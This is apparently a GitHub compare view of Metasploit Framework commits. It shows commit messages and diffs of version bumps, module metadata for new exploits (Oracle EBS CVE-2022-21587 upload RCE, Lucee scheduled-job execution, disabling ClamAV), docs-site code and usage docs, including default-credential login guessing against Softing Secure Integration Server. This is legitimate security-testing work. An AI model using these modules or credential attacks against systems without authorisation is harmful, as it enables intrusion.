Compare commits

...

99 Commits

Author SHA1 Message Date
adfoster-r7 f3975e968f Land #17635, Add support for full pac ul_type 19 and partial ticket checksum support 2023-03-02 14:22:58 +00:00
Metasploit ec2d71cbb7 automatic module_metadata_base.json update 2023-03-02 08:13:23 -06:00
Spencer McIntyre a418bd9c65 Land #17638, Lucee Scheduled Job RCE 2023-03-02 08:57:19 -05:00
JBince 1245124afa updated docs to reflect changes from smcintyre-r7 2023-02-28 19:58:39 -06:00
Alex dde4445dab Merge pull request #1 from smcintyre-r7/pr/collab/17638
Pr/collab/17638
2023-02-28 20:27:49 -05:00
Spencer McIntyre 3fabcc3421 Use coldfusion to decode base64 data
This means we don't need to rely on base64 being in the path. Also
invoke ARCH_CMD payloads on Windows through cmd.exe and not
powershell.exe.
2023-02-28 17:32:56 -05:00
Metasploit 82005fe3cf automatic module_metadata_base.json update 2023-02-28 16:31:20 -06:00
Spencer McIntyre c8aa491378 Fail with Unreachable when res is nil 2023-02-28 17:05:59 -05:00
Jack Heysel 3abd62076c Land #17624, Oracle E-Business Suite Module
This pull request adds an exploit module for CVE-2022-21587
an arbitrary file upload vulnerability in Oracle Web Applications
Desktop Integrator as shipped with 12.2.3 through to 12.2.11
which results in RCE
2023-02-28 17:04:20 -05:00
Metasploit 89d9da87bd automatic module_metadata_base.json update 2023-02-28 15:56:29 -06:00
Spencer McIntyre a916163b49 Cleanup files and fixup messages 2023-02-28 16:41:57 -05:00
space-r7 b3e6767125 Land #17676, add SIS login module 2023-02-28 15:41:24 -06:00
space-r7 380a66916f use print instead of vprint 2023-02-28 15:40:03 -06:00
Imran E. Dawoodjee 41c231b803 Convert to JSON before checks 2023-02-28 09:46:56 +08:00
Metasploit b8178397a9 automatic module_metadata_base.json update 2023-02-27 15:49:35 -06:00
Spencer McIntyre 2be54376bc Land #17699, Add in SCHANNEL support for LDAP 2023-02-27 16:35:30 -05:00
Spencer McIntyre d92b6e328a Fix up error message 2023-02-27 16:14:00 -05:00
Metasploit 1f370b3c9e automatic module_metadata_base.json update 2023-02-27 15:02:04 -06:00
bwatters 87f046f351 Land #17629, Fix #17629 #query_ldap issues
Merge branch 'land-17698' into upstream-master
2023-02-27 14:39:19 -06:00
Jack Heysel ac3e84d3fb Land #17679, Fix broken payload selection for RPC
Fix broken payload selection for Metasploit RPC
2023-02-27 15:19:50 -05:00
Grant Willcox 524f5e4e63 Check file exists first before trying to read 2023-02-27 14:12:09 -06:00
JBince 8b03f2fda8 Reworked payload execution logic 2023-02-27 11:09:34 -06:00
Grant Willcox 4cd50b4550 Address comments from review 2023-02-27 11:07:21 -06:00
Jack Heysel fc76f5f039 Land #17680, improve UX of metasploit docs site
Adds expand all and colapse all buttons to module
section of the docs site for a better UX
2023-02-27 11:31:46 -05:00
Imran E. Dawoodjee 2f08cf6c46 Improved version check, review round 1 2023-02-26 17:23:54 +08:00
Grant Willcox 47652e3b19 Land #17696, Update metasploit-payloads gem to 2.0.113 2023-02-25 16:41:21 -06:00
Grant Willcox 3c56cf7a15 Land #17701, Fix typo in psexec.rb 2023-02-25 10:42:37 -06:00
Grant Willcox 363a3415df Land #17700, Fix argument validation for the route command 2023-02-25 10:37:52 -06:00
Jeff McJunkin b7d373d247 Typo in psexec.rb 2023-02-25 08:15:34 -08:00
Grant Willcox 50fdd4536e Land #17695, Remove LDAP collection project from GSOC 2023 list 2023-02-25 09:26:05 -06:00
Spencer McIntyre 49a2f481b6 Fix argument validation for the route command 2023-02-24 15:36:52 -05:00
Grant Willcox fe8afed994 Change over to fail_with and add condition to fail when SSL is not enabled and SCHANNEL is the authentication mechanism 2023-02-24 14:13:13 -06:00
Metasploit 020d2d3302 automatic module_metadata_base.json update 2023-02-24 13:54:52 -06:00
Grant Willcox f6bfa6a61b Add in SCHANNEL support, and update modules to fix a hang when using to_json instead of get_operation_result. 2023-02-24 13:50:04 -06:00
Spencer McIntyre 20dbc175d1 Land #17697, Froxlor 2.0.7 is actually vulnerable too
Froxlor 2.0.7 is actually vulnerable too
2023-02-24 14:32:32 -05:00
Spencer McIntyre 26d9026fc2 Fix a filter error
When FILTER was nil, the check would fail causing `()` to be appended to
the LDAP query filter which would cause it to fail.
2023-02-24 13:51:58 -05:00
Spencer McIntyre fc8f94fff4 Fix #query_ldap to use the API
Fix #query_ldap to use the API provided by Windows instead of dealing
with the opaque BER data structures. This means that querying is now
reliant on documented APIs and will function on both 32-bit and 64-bit
Meterpreters.
2023-02-24 13:46:11 -05:00
Spencer McIntyre 9706ee9d9e Need to use #native_arch
Using #arch instead of #native_arch means that the Python Meterpreter
will be misclassified as ARCH_PYTHON and will be unable to use util
functions correctly.
2023-02-24 13:46:11 -05:00
Jack Heysel ca6faed172 Check method enhancement 2023-02-24 13:33:10 -05:00
Jack Heysel 5311a491e9 Froxlor 2.0.7 is actually vulnerable too 2023-02-24 13:18:34 -05:00
Spencer McIntyre 7db2d86147 Update metasploit-payloads gem to 2.0.113
Includes changes from:
  * rapid7/metasploit-payloads#604
  * rapid7/metasploit-payloads#605
  * rapid7/metasploit-payloads#607
  * rapid7/metasploit-payloads#606
  * rapid7/metasploit-payloads#609
2023-02-24 12:09:21 -05:00
Spencer McIntyre 22ad9ebe7f Remove the LDAP collection prject 2023-02-24 11:40:56 -05:00
adfoster-r7 a408e3e27f Land #17687, Add additional documentation for HTTPRawHeaders Option 2023-02-24 10:19:18 +00:00
Metasploit 011ffb87bd automatic module_metadata_base.json update 2023-02-23 21:18:09 -06:00
Jack Heysel 5749b402af Land #17672, disable ClamAV on Linux
This PR includes a post module that will disable
ClamAV on Linux systems.
2023-02-23 21:51:48 -05:00
Jack Heysel 9a874c352b Added missing space in fail_with statement 2023-02-23 20:57:19 -05:00
DLL_Cool_J 9e9e7ac938 Update docs/metasploit-framework.wiki/Metasploit-Guide-HTTP.md
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-02-23 20:33:10 -05:00
DLL_Cool_J 0479215373 Update docs/metasploit-framework.wiki/Metasploit-Guide-HTTP.md
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2023-02-23 20:32:58 -05:00
Jack Heysel 5e2f0965f3 Changed print_bad to fail_with 2023-02-23 17:33:52 -05:00
Jack Heysel 8db255288b Spelling 2023-02-23 16:40:09 -05:00
Jack Heysel 2ed89dda7e Added nc and python cmd techniques 2023-02-23 16:21:09 -05:00
Spencer McIntyre fbf2e5d370 Land #17562, Fix incorrect defs in def_wldap32.rb
Fix incorrect definitions for ldap_search functions in def_wldap32.rb
2023-02-23 14:03:26 -05:00
Metasploit f4549b0a1e Bump version of framework to 6.3.5 2023-02-23 12:11:22 -06:00
Spencer McIntyre 42bd87e0c1 Update how railgun handles pointer return types
Update railgun to handle pointer return types. If the type that is
pointed to is known (i.e. PCHAR, PULONG_PTR) and not LPVOID, the
contents returned to the caller. The raw address is also returned in the
&return key to enable the caller to free the buffer if necessary which
is determined by the function that was called.
2023-02-23 08:42:59 -06:00
Grant Willcox 4c25530afe Fix up PCHAR and PWCHAR definitions to correctly handle cases where the return value may be 0. Also fix some definitions to be clearer and work on x64. 2023-02-23 08:41:26 -06:00
Grant Willcox ae461c2395 Add in ULONG alias to DWORD and update definitions to fix some mistakes 2023-02-23 08:40:28 -06:00
Grant Willcox 59eb419d28 Make PULONG_PTR definitions PLPVOID to be more accurate, and correctly define some structures as PBLOB so they be handled correctly 2023-02-23 08:40:23 -06:00
Grant Willcox d16905ca49 Fix incorrect definitions for ldap_search functions 2023-02-23 08:40:22 -06:00
Grant Willcox 8b27c2e8f7 Use start_tls for connections with SSL 2023-02-23 08:33:18 -06:00
archcloudlabs 743e5ffd9f adding an example for additional http-headers 2023-02-22 22:22:04 -05:00
archcloudlabs 10552cbc87 msftidy and notes 2023-02-22 21:48:35 -05:00
archcloudlabs 9ff4cdfd5c updated w/ socat method 2023-02-22 21:40:26 -05:00
archcloudlabs 55371f9363 removing to_str 2023-02-22 20:36:55 -05:00
Imran E. Dawoodjee 62439bbcd0 Update documentation 2023-02-22 22:52:43 +08:00
Imran E. Dawoodjee 2b5b17916f Update docs, improved robustness of module+lib 2023-02-22 22:41:14 +08:00
sfewer-r7 690abcfe1f improve the documentation, mention some steps required during setup. 2023-02-22 09:42:11 +00:00
sfewer-r7 963b9a9952 Merge remote-tracking branch 'origin/CVE-2022-21587' into CVE-2022-21587 2023-02-21 18:02:10 +00:00
sfewer-r7 3854c30a11 more specific testing of the response after upload to ensure it contains the expected EBS response data. infer the relative path traversal depth from the path to the upload folder, thanks @gwillcox-r7 2023-02-21 18:00:17 +00:00
Dean Welch fc5d938d8c Add support for full pac and partial ticket checksum support 2023-02-21 13:03:59 +00:00
adfoster-r7 1b44973c80 Improve UX of module explorer 2023-02-21 12:06:24 +00:00
adfoster-r7 239bc02db4 Fix broken payload selection for metasploit rpc 2023-02-21 11:04:11 +00:00
Imran E. Dawoodjee 6e9a7a9d07 Minor fixes 2023-02-20 23:45:59 +08:00
archcloudlabs bf5919f461 finisehd msftidy/rubocop fixs 2023-02-19 19:49:39 -05:00
archcloudlabs f61c3bcefc initial commit of disable_av documentation 2023-02-19 19:49:39 -05:00
archcloudlabs fc5a38e870 Simplifying the module 2023-02-19 19:49:39 -05:00
archcloudlabs 1f45b1e4b7 initial commit of disable_clamav module 2023-02-19 19:49:39 -05:00
JBince 75fb5e883d Exploit update based on feedback 2023-02-19 09:16:56 -06:00
Imran E. Dawoodjee bdc435f5c8 Add login module for Softing Secure Integration Server 2023-02-19 22:25:22 +08:00
Grant Willcox 38d8b70873 Make msftidy_docs.rb happy and then also clarify where to find software download links 2023-02-17 14:56:51 -06:00
Grant Willcox c713da368d Add in a few fixes from the review 2023-02-17 14:52:57 -06:00
JBince ce9933fc4c Feedback changes + rubocop & msftidy changes 2023-02-17 08:16:49 -06:00
sfewer-r7 73e82274dd changes as per @gwillcox-r7 review 2023-02-17 13:10:53 +00:00
JBince a3a6ae9c4a feedback fixes 2023-02-16 14:33:03 -06:00
sfewer-r7 d1463df3cc fix documentation issues from msftidy_docs 2023-02-14 10:47:47 +00:00
JBince 1dadd113dd msftidy changes to documentation 2023-02-13 15:27:07 -06:00
JBince 9c3cfd8bdb Added documentation, cleaned up functions, rubocop fixes 2023-02-13 15:19:45 -06:00
JBince 2a386981bd Updated Module & Payloads + Rubocop Fixes 2023-02-13 09:03:57 -06:00
JBince f4c5e34a1b Added improved functionality on both Windows and Unix installs 2023-02-12 14:42:22 -06:00
JBince fcfc39296f Added improved functionality on both Windows and Unix installs 2023-02-12 14:39:11 -06:00
JBince d5b7ad30a1 Created module 2023-02-10 17:01:57 -06:00
sfewer-r7 a3f4dceb5b clean up the check method; avoid using print_message in favor of the CheckCode reason. and use a CheckCode of Safe rather than Unknown if we dont find the expected version string. Thanks @bcoles for the review on this. 2023-02-10 13:03:23 +00:00
sfewer-r7 6b29b14c46 add in module documentation 2023-02-10 12:41:55 +00:00
sfewer-r7 dc8ee988f5 use Rex::Version in the check method for better version comparisons 2023-02-10 10:45:32 +00:00
sfewer-r7 a19bdde276 pass the 'bne:uueupload' param via the vars_get option 2023-02-10 10:44:21 +00:00
sfewer-r7 54c472ef18 fix typo in the description 2023-02-10 10:43:36 +00:00
sfewer-r7 d4be663923 add the side effect flag ARTIFACTS_ON_DISK as during extraction of the UUE encoded zip file, some randomly names temp files are left in /u01/install/APPS/fs1/EBSapps/appl/bne/12.0.0/upload 2023-02-09 17:28:15 +00:00
sfewer-r7 86f11b09fb avoid the upto loop when creating jsp_path 2023-02-09 17:18:58 +00:00
sfewer-r7 406574722a satisfy Rubocop 2023-02-09 16:30:30 +00:00
sfewer-r7 b97a288102 add an exploit module for CVE-2022-21587 (Oracle E-Business Suite RCE) 2023-02-09 16:22:30 +00:00
43 changed files with 2278 additions and 334 deletions
+3 -3
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.3.4)
metasploit-framework (6.3.5)
actionpack (~> 7.0)
activerecord (~> 7.0)
activesupport (~> 7.0)
@@ -29,7 +29,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.108)
metasploit-payloads (= 2.0.113)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.20)
mqtt
@@ -249,7 +249,7 @@ GEM
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
metasploit-payloads (2.0.108)
metasploit-payloads (2.0.113)
metasploit_data_models (6.0.2)
activerecord (~> 7.0)
activesupport (~> 7.0)
+2 -2
View File
@@ -70,9 +70,9 @@ memory_profiler, 1.0.1, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.1, "New BSD"
metasploit-credential, 6.0.2, "New BSD"
metasploit-framework, 6.3.4, "New BSD"
metasploit-framework, 6.3.5, "New BSD"
metasploit-model, 5.0.1, "New BSD"
metasploit-payloads, 2.0.108, "3-clause (or ""modified"") BSD"
metasploit-payloads, 2.0.113, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.2, "New BSD"
metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
+234 -6
View File
@@ -5556,7 +5556,7 @@
],
"targets": null,
"mod_time": "2022-11-14 12:27:38 +0000",
"mod_time": "2023-02-24 13:50:04 +0000",
"path": "/modules/auxiliary/admin/ldap/rbcd.rb",
"is_install_path": true,
"ref_name": "admin/ldap/rbcd",
@@ -20184,7 +20184,7 @@
],
"targets": null,
"mod_time": "2022-12-07 10:48:07 +0000",
"mod_time": "2023-02-24 13:50:04 +0000",
"path": "/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb",
"is_install_path": true,
"ref_name": "gather/ldap_esc_vulnerable_cert_finder",
@@ -20279,7 +20279,7 @@
],
"targets": null,
"mod_time": "2023-01-24 11:23:28 +0000",
"mod_time": "2023-02-24 13:50:04 +0000",
"path": "/modules/auxiliary/gather/ldap_query.rb",
"is_install_path": true,
"ref_name": "gather/ldap_query",
@@ -35079,6 +35079,62 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/softing_sis_login": {
"name": "Softing Secure Integration Server Login Utility",
"fullname": "auxiliary/scanner/http/softing_sis_login",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Imran E. Dawoodjee <imrandawoodjee.infosec@gmail.com>"
],
"description": "This module will attempt to authenticate to a Softing Secure Integration Server.",
"references": [
],
"platform": "",
"arch": "",
"rport": 8099,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2023-02-28 15:40:03 +0000",
"path": "/modules/auxiliary/scanner/http/softing_sis_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/softing_sis_login",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/splunk_web_login": {
"name": "Splunk Web Interface Login Utility",
"fullname": "auxiliary/scanner/http/splunk_web_login",
@@ -63294,7 +63350,7 @@
"Askar",
"jheysel-r7"
],
"description": "Froxlor v2.0.6 and below suffer from a bug that allows authenticated users to change the application logs path\n to any directory on the OS level which the user www-data can write without restrictions from the backend which\n leads to writing a malicious Twig template that the application will render. That will lead to achieving a\n remote command execution under the user www-data.",
"description": "Froxlor v2.0.7 and below suffer from a bug that allows authenticated users to change the application logs path\n to any directory on the OS level which the user www-data can write without restrictions from the backend which\n leads to writing a malicious Twig template that the application will render. That will lead to achieving a\n remote command execution under the user www-data.",
"references": [
"URL-https://shells.systems/author/askar/",
"CVE-2023-0315"
@@ -63321,7 +63377,7 @@
"Linux ",
"Unix Command"
],
"mod_time": "2023-02-22 12:28:28 +0000",
"mod_time": "2023-02-24 13:33:10 +0000",
"path": "/modules/exploits/linux/http/froxlor_log_path_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/froxlor_log_path_rce",
@@ -67830,6 +67886,70 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/oracle_ebs_rce_cve_2022_21587": {
"name": "Oracle E-Business Suite (EBS) Unauthenticated Arbitrary File Upload",
"fullname": "exploit/linux/http/oracle_ebs_rce_cve_2022_21587",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-10-01",
"type": "exploit",
"author": [
"sf <stephen_fewer@harmonysecurity.com>",
"HMs",
"l1k3beef"
],
"description": "This module exploits an unauthenticated arbitrary file upload vulnerability in Oracle Web Applications\n Desktop Integrator, as shipped with Oracle EBS versions 12.2.3 through to 12.2.11, in\n order to gain remote code execution as the oracle user.",
"references": [
"CVE-2022-21587",
"URL-https://attackerkb.com/topics/Bkij5kK1qK/cve-2022-21587/rapid7-analysis",
"URL-https://blog.viettelcybersecurity.com/cve-2022-21587-oracle-e-business-suite-unauth-rce/",
"URL-https://github.com/hieuminhnv/CVE-2022-21587-POC"
],
"platform": "Linux",
"arch": "java",
"rport": 8000,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Oracle EBS on Linux (OVA Install)"
],
"mod_time": "2023-02-21 18:02:10 +0000",
"path": "/modules/exploits/linux/http/oracle_ebs_rce_cve_2022_21587.rb",
"is_install_path": true,
"ref_name": "linux/http/oracle_ebs_rce_cve_2022_21587",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/pandora_fms_events_exec": {
"name": "Pandora FMS Events Remote Command Execution",
"fullname": "exploit/linux/http/pandora_fms_events_exec",
@@ -89602,6 +89722,68 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/lucee_scheduled_job": {
"name": "Lucee Authenticated Scheduled Job Code Execution",
"fullname": "exploit/multi/http/lucee_scheduled_job",
"aliases": [
],
"rank": 600,
"disclosure_date": "2023-02-10",
"type": "exploit",
"author": [
"Alexander Philiotis"
],
"description": "This module can be used to execute a payload on Lucee servers that have an exposed\n administrative web interface. It's possible for an administrator to create a\n scheduled job that queries a remote ColdFusion file, which is then downloaded and executed\n when accessed. The payload is uploaded as a cfm file when queried by the target server. When executed,\n the payload will run as the user specified during the Lucee installation. On Windows, this is a service account;\n on Linux, it is either the root user or lucee.",
"references": [
"URL-https://docs.lucee.org/",
"URL-https://docs.lucee.org/reference/tags/execute.html",
"URL-https://docs.lucee.org/reference/tags/script.html"
],
"platform": "",
"arch": "",
"rport": 8888,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows Command",
"Unix Command"
],
"mod_time": "2023-02-28 17:28:48 +0000",
"path": "/modules/exploits/multi/http/lucee_scheduled_job.rb",
"is_install_path": true,
"ref_name": "multi/http/lucee_scheduled_job",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_multi/http/magento_unserialize": {
"name": "Magento 2.0.6 Unserialize Remote Code Execution",
"fullname": "exploit/multi/http/magento_unserialize",
@@ -210163,6 +210345,52 @@
],
"needs_cleanup": null
},
"post_linux/manage/disable_clamav": {
"name": "Disable ClamAV",
"fullname": "post/linux/manage/disable_clamav",
"aliases": [
],
"rank": 600,
"disclosure_date": null,
"type": "post",
"author": [
"DLL_Cool_J"
],
"description": "This module will write to the ClamAV Unix socket to shutoff ClamAV.",
"references": [
],
"platform": "Linux",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2023-02-23 20:57:19 +0000",
"path": "/modules/post/linux/manage/disable_clamav.rb",
"is_install_path": true,
"ref_name": "linux/manage/disable_clamav",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"service-resource-loss"
],
"Reliability": [
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": [
"meterpreter",
"shell"
],
"needs_cleanup": null
},
"post_linux/manage/dns_spoofing": {
"name": "Native DNS Spoofing module",
"fullname": "post/linux/manage/dns_spoofing",
@@ -219073,7 +219301,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2023-02-08 13:47:34 +0000",
"mod_time": "2023-02-14 11:21:05 +0000",
"path": "/modules/post/windows/gather/enum_ad_users.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_ad_users",
+48 -7
View File
@@ -1,19 +1,60 @@
// Handle opening/closing module overview list items
jtd.onReady(function(ready) {
var moduleStructures = document.querySelectorAll('.module-structure');
for (var i = 0; i < moduleStructures.length; i++) {
jtd.addEvent(moduleStructures[i], 'click', function (e) {
var forEach = function (list, callback) {
for (var i = 0; i < list.length; i++) {
callback(list[i])
}
};
// Bind listeners for expand all / collapse all functionality
var bindToggleAll = function (selector, options) {
var isOpen = options.open;
var expandAllButtons = document.querySelectorAll(selector);
forEach(expandAllButtons, function (button) {
jtd.addEvent(button, 'click', function (e) {
var originalTarget = e.target || e.srcElement || e.originalTarget;
if (originalTarget.tagName !== 'A') { return; }
var moduleList = originalTarget.closest('.module-list');
forEach(moduleList.querySelectorAll('.folder > ul'), function (list) {
if (isOpen) {
list.classList.add('open');
} else {
list.classList.remove('open');
}
})
e.preventDefault();
});
});
};
bindToggleAll('.module-list [data-expand-all]', { open: true })
bindToggleAll('.module-list [data-collapse-all]', { open: false })
// Bind listeners for collapsing module navigation items
var moduleStructureElements = document.querySelectorAll('.module-structure');
forEach(moduleStructureElements, function (moduleStructure) {
jtd.addEvent(moduleStructure, 'click', function (e) {
var originalTarget = e.target || e.srcElement || e.originalTarget;
if (originalTarget.tagName !== 'A') { return; }
var parentListItem = originalTarget.closest('li');
if (parentListItem.className.indexOf('folder') === -1) { return; }
var childList = parentListItem.querySelector('ul');
if (childList) {
childList.classList.toggle('open');
}
toggleChildModuleList(parentListItem)
e.preventDefault();
});
})
var toggleChildModuleList = function (parent) {
var list = parent.querySelector('ul');
if (!list) {
return;
}
list.classList.toggle('open');
// Recursively automatically open any nested lists of size 1
if (list.children.length === 1) {
toggleChildModuleList(list.children[0])
}
}
});
+25 -4
View File
@@ -6,6 +6,10 @@ require 'pathname'
# Helper class for extracting information related to Metasploit framework's stats
#
class MetasploitStats
def total_module_count
modules.length
end
# @return [Hash<String, Integer>] A map of module type to the amount of modules
def module_counts
module_counts_by_type = modules.group_by { |mod| mod['type'].to_s }.transform_values { |mods| mods.count }.sort_by(&:first).to_h
@@ -71,11 +75,27 @@ end
module ModuleFilter
# @param [Array<Hash>] modules The array of Metasploit cache information
# @return [String] The module tree HTML representation of the given modules
def module_tree(modules)
def module_tree(modules, title = 'Modules', show_controls = false)
rendered_children = render_modules(modules)
controls = <<~EOF
<div class="module-controls">
<span><a href="#" data-expand-all>Expand All</a></span>
<span><a href="#" data-collapse-all>Collapse All</a></span>
</div>
EOF
<<~EOF
<ul class="module-structure">#{rendered_children}</ul>
<div class="module-list">
#{show_controls ? controls : ''}
<ul class="module-structure">
<li class="folder"><a href=\"#\"><div class=\"target\">#{title}</div></a>
<ul class="open">
#{rendered_children}
</ul>
</li>
</ul>
</div>
EOF
end
@@ -85,7 +105,8 @@ module ModuleFilter
# @return [String] The rendered tree HTML representation of the given modules
def render_modules(modules)
modules.map do |mod|
result = "<li#{render_child_modules?(mod) ? ' class="folder"' : ''}>#{heading_for_mod(mod)}"
classes = render_child_modules?(mod) ? ' class="folder"' : ''
result = "<li#{classes}>#{heading_for_mod(mod)}"
if render_child_modules?(mod)
result += "\n<ul>#{render_modules(mod[:children].sort_by { |mod| "#{render_child_modules?(mod) ? 0 : 1}-#{mod[:name]}" })}</ul>\n"
end
@@ -126,7 +147,7 @@ Jekyll::Hooks.register :site, :after_init do |site|
metasploit_stats = MetasploitStats.new
site.config['metasploit_total_module_count'] = metasploit_stats.module_counts.sum { |_type, count| count }
site.config['metasploit_total_module_count'] = metasploit_stats.total_module_count
site.config['metasploit_module_counts'] = metasploit_stats.module_counts
site.config['metasploit_nested_module_counts'] = metasploit_stats.nested_module_counts
+24 -1
View File
@@ -45,14 +45,32 @@
width: 90%;
}
.module-controls {
line-height: 0;
border-bottom: 1px solid #ddd;
}
.module-controls a {
line-height: 1;
padding: 0.5rem;
display: inline-block;
}
.module-controls span {
display: inline-block;
}
.module-structure a, .module-structure a:hover {
background-image: none;
}
.module-structure a:hover .target {
.module-structure a .target {
pointer-events: none;
display: inline-block;
text-decoration: none;
}
.module-structure a:hover .target {
background-image: linear-gradient(rgba(114, 83, 237, 0.45) 0%, rgba(114, 83, 237, 0.45) 100%);
background-repeat: repeat-x;
background-position: 0 100%;
@@ -70,6 +88,11 @@
border-left: 1px dashed #d1d7de;
}
/* Never allow the top-most files/folders to be collapsed */
.module-structure > li.folder > ul {
display: block;
}
.module-structure li p {
margin: 0;
}
@@ -22,13 +22,6 @@ Metasploit's LDAP service mixin provides a service to enable interaction over th
Size: Medium
Difficulty: 3/5
### Enhanced LDAP Query & Collection
When preforming security assessment on a network with centralized login such as LDAP or Active Directory these services are sometimes exposed directly on the network. While Metasploit has capabilities to collect various pieces of information from these services when a user has been able to gain code execution inside a target system by utilizing tooling such as `Sharphound` or by leveraging SMB services via the `secrets_dump` module, these methods are somewhat indirect. A network base capability to query exposed services may have value. An interactive terminal plugin allowing users to connect directly to LDAP or Active Directory providing capabilities similar to the existing `requests` plugin could enable users search for valuable information in these services without the need to compromise a target or interact with a secondary service.
Size: Medium/Large (Depends on proposal)
Difficulty: 3/5
### Improving post-exploit API to be more consistent, work smoothly across session types
The Metasploit post-exploitation API is intended to provide a unified interface between different Meterpreter, shell, PowerShell, mainframe, and other session types. However, there are areas where the implementation is not consistent, and could use improvements:
@@ -159,3 +159,30 @@ Module advanced options (auxiliary/scanner/http/title):
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
```
### HTTP Multiple-Headers
Additional headers can be set via the `HTTPRawHeaders` option.
A file containing a ERB template will be used to append to the headers section of the HTTP request.
An example of an ERB template file is shown below.
```
Header-Name-Here: <%= 'content of header goes here' %>
```
The following output shows leveraging the scraper scanner module with an additional header stored in ```additional_headers.txt```.
```msf
msf6 auxiliary(scanner/http/scraper) > cat additional_headers.txt
[*] exec: cat additional_headers.txt
X-Cookie-Header: <%= 'example-cookie' %>
msf6 auxiliary(scanner/http/scraper) > set HTTPRAWHEADERS additional_headers.txt
HTTPRAWHEADERS => additional_headers.txt
msf6 auxiliary(scanner/http/scraper) > exploit
####################
# Request:
####################
GET / HTTP/1.0
Host: 172.16.0.63:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
X-Cookie-Header: example-cookie
```
+1 -1
View File
@@ -2,7 +2,7 @@
There are currently {{ site.metasploit_total_module_count }} Metasploit modules:
{{ site.metasploit_nested_module_counts | module_tree }}
{{ site.metasploit_nested_module_counts | module_tree: "All Modules", true }}
## Module types
@@ -0,0 +1,182 @@
## Description
This module allows you to authenticate to Softing Secure Integration Server.
By default:
* Credentials are `admin:admin`.
* HTTP is TCP/8099 and HTTPS is TCP/443. Either one can be used, but the module defaults to TCP/8099.
There does not seem to be a limit to the number of times login attempts can be made.
## Vulnerable Application
This module was tested against version 1.22, installed on Windows Server 2019 Standard x64.
*1.22 Download*
https://industrial.softing.com/products/opc-opc-ua-software-platform/integration-platform/secure-integration-server.html
## Verification Steps
1. Start `msfconsole`
2. Do: `use auxiliary/scanner/http/softing_sis_login`
3. Do: `set RHOSTS <target_ip>` OR `set RHOSTS file:/path/to/targets/file` if against several targets
4. Do: Optional: `set SSL true` if necessary
5. Do: Optional: `set RPORT 443` if SSL is set
6. Do: `set USERNAME <username>` if necessary. Default is `admin`
7. Do: `set PASSWORD <password>` if necessary. Default is `admin`
8. Do: `run`
If running against several usernames: `set USER_FILE /path/to/usernames_file`
If using a wordlist (e.g. common passwords): `set PASS_FILE /path/to/passwords_file`
`USER_FILE` and `PASS_FILE` take priority over `USERNAME` and `PASSWORD`.
A `username:password` pair of credentials can be provided by doing `set USERPASS_FILE /path/to/userpass_file`.
## Scenarios
### Default
In this scenario, the default options were used.
```
msf6 > use auxiliary/scanner/http/softing_sis_login
msf6 auxiliary(scanner/http/softing_sis_login) > set RHOSTS 192.168.50.119
RHOSTS => 192.168.50.119
msf6 auxiliary(scanner/http/softing_sis_login) > run
[+] 192.168.50.119:8099 - Success: 'admin:admin'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/softing_sis_login) >
```
`creds` output:
```
msf6 auxiliary(scanner/http/softing_sis_login) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
192.168.50.119 192.168.50.119 8099/tcp (http) admin admin Password
msf6 auxiliary(scanner/http/softing_sis_login) >
```
### Different admin password, SSL in use
In this scenario, the default password for the `admin` user has been changed, and SSL was used.
```
msf6 > use auxiliary/scanner/http/softing_sis_login
msf6 auxiliary(scanner/http/softing_sis_login) > set RHOSTS 192.168.50.119
RHOSTS => 192.168.50.119
msf6 auxiliary(scanner/http/softing_sis_login) > set PASSWORD admin123
PASSWORD => admin123
msf6 auxiliary(scanner/http/softing_sis_login) > set SSL true
